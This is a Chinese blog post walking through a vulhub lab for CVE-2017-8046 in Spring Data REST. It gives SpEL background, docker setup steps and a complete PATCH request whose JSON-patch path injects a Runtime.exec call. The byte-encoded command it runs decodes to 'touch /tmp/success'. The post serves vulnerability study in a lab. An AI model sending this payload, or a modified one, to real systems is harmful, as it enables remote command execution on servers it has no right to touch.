当前位置:   article > 正文

【vulhub靶场之spring】——

【vulhub靶场之spring】——

简介:


Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring ExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个SpringCVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等
SpEL是什么?
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下:


1.表达式:可以认为就是传入的字符串内容,
2.解析器:将字符串解析为表达式内容;
3.上下文:表达式对象执行的环境;
4.根对象和活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。

第一步:打开环境

  1. cd /vulhub/spring/CVE-2017-8046
  2. docker-compose up -d
  3. docker-compose ps

访问ip的8080端口,看到spring框架的特征,也就是他的图标。

访问:http://your-ip:8080/customers/1 ,

第二步:抓包,使用PATCH请求

将GET数据包替换为下方的PATCH数据包发送。

  1. PATCH /customers/1 HTTP/1.1
  2. Host: 43.136.68.40:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: application/json-patch+json
  9. Content-Length: 193
  10. [{"op":"replace","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub"}]

new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}就是编码后的success

第三步:在靶机上查看有没有上传成功。

可以看到上传到了此靶场的容器中。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/喵喵爱编程/article/detail/975942
推荐阅读
相关标签
  

闽ICP备14008679号